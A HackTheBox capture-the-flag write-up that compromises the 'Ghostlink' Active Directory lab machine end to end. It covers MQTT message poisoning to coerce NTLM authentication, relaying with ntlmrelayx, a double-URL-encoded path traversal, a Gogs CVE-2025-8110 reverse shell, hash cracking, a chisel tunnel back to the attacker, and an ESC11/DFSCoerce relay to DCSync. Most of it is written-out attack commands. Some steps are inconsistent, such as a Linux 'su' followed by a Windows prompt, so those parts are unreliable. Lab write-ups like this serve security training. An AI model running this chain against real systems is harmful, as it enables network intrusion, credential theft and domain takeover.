HTB: Ghostlink Writeup

Ghostlink - HackTheBox Writeup

Machine Information

AttributeDetails
NameGhostlink
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.41.242
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Ghostlink is a Hard Windows Active Directory box built around a single misplaced trust assumption: an anonymously-readable MQTT broker used for internal node health-checking. Tampering with a retained health-check message coerces a service account into authenticating over HTTP, and that authentication can be relayed straight into an internal file-sharing application. From there a double URL-encoded path traversal bug leaks a KeePass database whose credentials unlock a Gogs instance vulnerable to CVE-2025-8110, giving code execution as a low-privileged user. A cracked Gogs password hash pivots to a second local user, and from that foothold, pivoting deeper into the internal network exposes a Certificate Authority vulnerable to ESC11 — chained with a DFSCoerce-triggered machine-account authentication relay — to mint a Domain Controller certificate and DCSync straight to Domain Administrator.

TL;DR: MQTT anonymous read → retained health-check tamper → NTLM relay (svc_canary) → double URL-encoded path traversal on secure file share → KeePass DB exfil → Gogs CVE-2025-8110 RCE → cracked Gogs PBKDF2 hash → nvirelli shell → chisel pivot to internal CA → ESC11 + DFSCoerce-relayed DC01$ cert request → DCSync → Domain Admin.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.41.242

Results: Standard Windows AD DC port set (Kerberos, LDAP/LDAPS, SMB, RPC, WinRM) plus an unusual extra: 1883/tcp — MQTT, allowing anonymous connections.

Service Enumeration

MQTT (1883) — anonymous read/write. Connected with paho-mqtt and subscribed to the wildcard topic # to dump every topic the broker was carrying:

import paho.mqtt.client as mqtt
def on_message(client, userdata, msg):
print(f"{msg.topic}: {msg.payload.decode(errors='replace')}")
client = mqtt.Client()
client.on_message = on_message
client.connect("10.129.41.242", 1883, 60)
client.subscribe("#") # wildcard — dump every topic on the broker
client.loop_forever()

The broker turned out to be an internal node-health-tracking system. Two hostnames appeared repeatedly in the topic payloads, both resolving to the same internal jump box:

  • gpz-op26-secure (<jump-host>) — a “secure” internal file-sharing application, tied to a health-check topic that stores the URL the checker polls.
  • gpz-op26-toolkits (<jump-host>) — a Gogs Git hosting instance.

Vulnerability Assessment

  1. MQTT broker accepts anonymous connections and unauthenticated publish — the health-check topic’s payload (including the url field the checker requests) is fully attacker-controllable.
  2. Health-check consumer performs an authenticated HTTP request to whatever URL is published — a classic SSRF-to-NTLM-coercion primitive: point the URL at an attacker-controlled listener and the checking service account authenticates to it.
  3. gpz-op26-secure file-sharing app has a double URL-encoded path traversal in its /api/download/ endpoint.
  4. Gogs on gpz-op26-toolkits is running 0.13.3, vulnerable to CVE-2025-8110.

Initial Foothold

Step 1 — Coercing NTLM auth via a poisoned MQTT health check

The secureshare/healthcheck topic was retained (the broker replays the last message to new subscribers) and contained a url field the health-checking service polls periodically as svc_canary. Publishing a modified, retained message pointing that url at an attacker-controlled listener turns the health checker into an NTLM authentication source:

Terminal window
# republish the retained healthcheck topic with our own catcher URL
mosquitto_pub -h 10.129.41.242 -p 1883 -t "GhostProtocolZero/systems/node/secureshare/healthcheck" \
-r -m '{"url":"http://10.10.15.180/"}'

Because the message is published with the retain flag, the health-check service picks it up on its next poll and issues an HTTP request — with NTLM authentication — to 10.10.15.180.

Step 2 — Relaying the coerced authentication

Rather than crack the captured NTLMv2 hash, the authentication was relayed live into the internal file-sharing app using ntlmrelayx with a SOCKS listener so the session could be reused interactively:

Terminal window
ntlmrelayx.py -t http://gpz-op26-secure.ghostlink.htb \
--no-smb-server --no-rdp-server --no-mssql-server --no-rpc-server \
--keep-relaying -socks

The relay succeeded, authenticating as GHOSTLINK\SVC_CANARY against the secure file share and adding an active SOCKS session for that identity — no plaintext credential or crackable hash ever needed.

Step 3 — Double URL-encoded path traversal

/api/download/ on the secure share rejects a normal ../ traversal and a single-URL-encoded (%2e%2e%2f) traversal outright, but a double URL-encoded payload (%252e%252e%255c) survives whatever sanitizer runs before the decode step — the filter checks the raw request path once, decodes it once for routing, and by the time the second decode happens (deeper in the file-serving logic) the traversal sequence has already re-materialized past the check.

Driving this through the SOCKS proxy required handling two impacket quirks: the SOCKS relay only forwards one authenticated request per underlying connection before it needs to re-negotiate (so requests were sent as discrete, short-lived connections rather than a persistent session), and the file share’s Basic-Auth layer behind the relay acts as an identity selector — the Authorization: Basic header’s username has to match the relayed GHOSTLINK\SVC_CANARY SOCKS entry for the proxy to route the request to the right relayed session.

Traversing to the target’s Recent folder surfaced a jump-list .lnk shortcut for a file the account had opened before:

Terminal window
# pull the .lnk shortcut first — its target path reveals where db.zip actually lives
curl --socks5-hostname 127.0.0.1:1080 \
"http://gpz-op26-secure.ghostlink.htb/api/download/%252e%252e%255c...%255cdb.zip.lnk" \
-u 'GHOSTLINK\SVC_CANARY:x' -o db.zip.lnk
# parse the .lnk target, then pull the file itself
curl --socks5-hostname 127.0.0.1:1080 \
"http://gpz-op26-secure.ghostlink.htb/api/download/<double-encoded-path-from-lnk>" \
-u 'GHOSTLINK\SVC_CANARY:x' -o db.zip

Step 4 — Cracking the KeePass database

db.zip contained a KeePass database that opened with a keyfile only (no master password required by the vault’s own protection settings). Once open, it yielded:

vroth : mOo03jpsqx8JQYMBwvFP

along with the database’s configured password policy — a minimum length of 20 characters — a detail that mattered later when brute-forcing another hash.

Step 5 — Gogs 0.13.3 RCE (CVE-2025-8110)

Gogs 0.13.3 is vulnerable to CVE-2025-8110, an authenticated RCE where a maliciously crafted repository containing a symlinked .git/config can smuggle an sshCommand (or equivalent hook) that Gogs executes server-side during certain repository operations. Logging into gpz-op26-toolkits with the KeePass-recovered credentials and pushing the crafted repository triggered command execution as the git service account:

Terminal window
# CVE-2025-8110 — symlink .git/config to escape the repo and inject sshCommand
git clone --bare exploit-repo && cd exploit-repo.git
ln -sf /etc/passwd config # symlink trick that lets us control the parsed git config
# ... craft config content with core.sshCommand pointing at our payload ...
git push gogs-target main --force

This returned a reverse shell as git@gpz-op26-toolkits.

Step 6 — Cracking a second local user

With code execution, gogs.db (Gogs’ SQLite user store) was exfiltrated and the stored password hash for user nvirelli was cracked with hashcat’s Gogs-compatible PBKDF2 mode. Recalling the ≥20-character policy learned from the KeePass vault, the wordlist attack was scoped to candidates of that length rather than run blind:

Terminal window
# Gogs stores salted PBKDF2-HMAC-SHA256 password hashes — hashcat mode 10900
hashcat -m 10900 nvirelli.hash rockyou.txt -r best64.rule --stdout | awk 'length($0)>=20' > candidates.txt
hashcat -m 10900 nvirelli.hash candidates.txt

Result: u47YUclrDiwWxBheaSzI. Switching users on the toolkits box confirmed valid local credentials:

Terminal window
su nvirelli
# Password: u47YUclrDiwWxBheaSzI
C:\Users\nvirelli\Desktop> type user.txt
<redacted>

Privilege Escalation

Step 7 — Pivoting to the internal CA

The gpz-op26-toolkits host had network reach to an internal Certificate Authority server not directly reachable from the beachhead. A chisel reverse SOCKS tunnel was set up through the toolkits box to route tooling (certipy, impacket) into that segment:

Terminal window
# on attacker box — chisel server
./chisel server -p 8000 --reverse
# on gpz-op26-toolkits (as nvirelli) — reverse SOCKS client back to attacker
./chisel client 10.10.15.180:8000 R:socks

Step 8 — Confirming ESC11 on the internal CA

With the pivot live, certipy was pointed at the internal CA (routed through the chisel SOCKS proxy) to enumerate certificate templates and CA configuration:

Terminal window
proxychains certipy find -u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' \
-dc-ip 10.129.41.242 -vulnerable

The CA came back flagged ESC11 — the CA’s ICertPassage (ICPR) RPC endpoint accepts certificate enrollment requests without requiring Require EPA/encryption on the RPC channel. That means an attacker who can relay an NTLM authentication over RPC to the CA’s ICPR interface can enroll a certificate on behalf of the relayed identity, entirely bypassing the usual HTTP-enrollment mitigations (ESC8 defenses) that don’t cover this RPC path.

Step 9 — DFSCoerce → relay to ICPR → DC01 certificate

DFSCoerce abuses the MS-DFSNM RPC interface to force a target machine (here, the Domain Controller itself) to authenticate back to an attacker-controlled listener — no credentials on the DC needed, just an unauthenticated coercion primitive:

Terminal window
# coerce DC01$ into authenticating to our relay listener
proxychains python3 DFSCoerce.py -u nvirelli -p 'u47YUclrDiwWxBheaSzI' \
ghostlink.htb 10.10.15.180 dc01.ghostlink.htb

That coerced DC01$ machine-account authentication was relayed directly into the CA’s vulnerable ICPR RPC endpoint, requesting a certificate using the DomainController template on behalf of DC01$:

Terminal window
# relay the coerced DC01$ auth into the CA's ICPR endpoint, requesting a DC cert
proxychains python3 ntlmrelayx.py -t rpc://<internal-ca-host> \
--template DomainController -smb2support

The relay produced a valid certificate for DC01$, saved as DC01.pfx. That certificate was exchanged for the machine account’s NT hash via PKINIT:

Terminal window
proxychains certipy auth -pfx DC01.pfx -dc-ip 10.129.41.242

Step 10 — DCSync to Domain Administrator

With DC01$’s NT hash in hand — a machine account that by default holds the replication rights needed for DCSync — the domain’s credential database was pulled directly:

Terminal window
proxychains secretsdump.py -hashes ':<DC01$ NT hash>' 'ghostlink.htb/DC01$@10.129.41.242'

This yielded the Administrator NT hash for the domain, used to open an authenticated session on the DC:

Terminal window
proxychains evil-winrm -i 10.129.41.242 -u Administrator -H '<Administrator NT hash>'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<redacted>

Attack Chain Summary

Anonymous MQTT read (topic dump reveals internal hostnames)
→ Retained healthcheck message tamper → NTLM auth coerced from svc_canary
→ ntlmrelayx HTTP relay + SOCKS → authenticated as GHOSTLINK\SVC_CANARY
→ Double URL-encoded path traversal on /api/download/
→ db.zip.lnk → db.zip → KeePass DB (keyfile-only) → vroth credentials + password policy
→ Gogs 0.13.3 CVE-2025-8110 (symlinked .git/config → sshCommand RCE) → shell as git
→ gogs.db exfil → hashcat -m 10900 (scoped to ≥20 chars) → nvirelli credentials
→ chisel reverse SOCKS pivot → internal CA reachable
→ certipy confirms ESC11 on CA's ICPR RPC endpoint
→ DFSCoerce forces DC01$ to authenticate → relay into ICPR → DomainController cert (DC01.pfx)
→ certipy auth → DC01$ NT hash
→ secretsdump DCSync → Administrator NT hash
→ evil-winrm as Administrator → Domain Admin / root.txt

Tools Used

ToolPurpose
nmapPort and service scanning
paho-mqtt (Python)Anonymous MQTT topic enumeration and retained-message tampering
mosquitto_pub/MQTT clientPublishing the poisoned health-check message
ntlmrelayx.py (Impacket)Relaying coerced NTLM auth from svc_canary into the secure file share, with SOCKS
curl (via SOCKS5)Driving the double URL-encoded path traversal through the relayed session
KeePass / keyfile-only DB openRecovering vroth credentials and the vault’s password policy
CVE-2025-8110 PoC (Gogs symlink RCE)Code execution on gpz-op26-toolkits as git
hashcat (mode 10900)Cracking the Gogs PBKDF2 password hash for nvirelli
chiselReverse SOCKS pivot from the toolkits box into the internal CA segment
certipyESC11 enumeration and PKINIT certificate-to-hash conversion
DFSCoerce.pyCoercing DC01$ machine-account authentication
ntlmrelayx.py (RPC/ICPR target)Relaying coerced DC01$ auth into the CA to mint a DomainController certificate
secretsdump.py (Impacket)DCSync using DC01$’s NT hash
evil-winrmFinal authenticated session as Administrator

Key Learnings

Techniques Practiced

  • Anonymous MQTT enumeration and retained-message manipulation as an NTLM-coercion primitive
  • Relaying coerced NTLM authentication through an HTTP target with a live SOCKS pivot
  • Double URL-encoding as a WAF/path-sanitizer bypass technique
  • KeePass keyfile-only database analysis for credential and policy recovery
  • Exploiting CVE-2025-8110 (Gogs symlinked .git/config RCE)
  • Offline password cracking scoped by a policy constraint discovered earlier in the chain
  • Multi-hop network pivoting with chisel to reach an internally-segmented CA
  • Identifying and exploiting ESC11 in ADCS via RPC/ICPR relay
  • Chaining DFSCoerce with a certificate-request relay to compromise a Domain Controller

Lessons Learned

  1. A health-check consumer that fetches an attacker-influenceable URL is an NTLM coercion primitive, not a benign monitoring feature — anonymous write access to a message broker can be just as dangerous as anonymous read access.
  2. Single-decode traversal filters are not enough when the underlying file-serving code performs its own second decode — always test double (and triple) URL encoding on any traversal-suspicious endpoint, not just the standard ../ and single-encoded variants.
  3. Password policies leaked from one credential store are actionable intelligence for cracking a different credential store later in the chain — a minimum-length constraint turns an unbounded wordlist attack into a scoped one.
  4. ESC11 is invisible to enumeration that only checks HTTP-based enrollment (ESC8) mitigations — the RPC/ICPR enrollment path has its own encryption requirement that is commonly left unenforced.
  5. Coercion (DFSCoerce) and relay (NTLM-to-ICPR) chain naturally — a machine account’s authentication, once coerced, is just as relayable as a user’s, and machine accounts frequently hold DCSync-capable replication rights by default.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Ghostlink — official HackTheBox writeup by ctrlzero — used as explanatory reference for the MQTT-to-NTLM-coercion mechanism, the double URL-encoding bypass rationale, and background on CVE-2025-8110 and ESC11. All IPs, credentials, commands, and outputs in this writeup are from the author’s own solve against 10.129.41.242, not from the reference.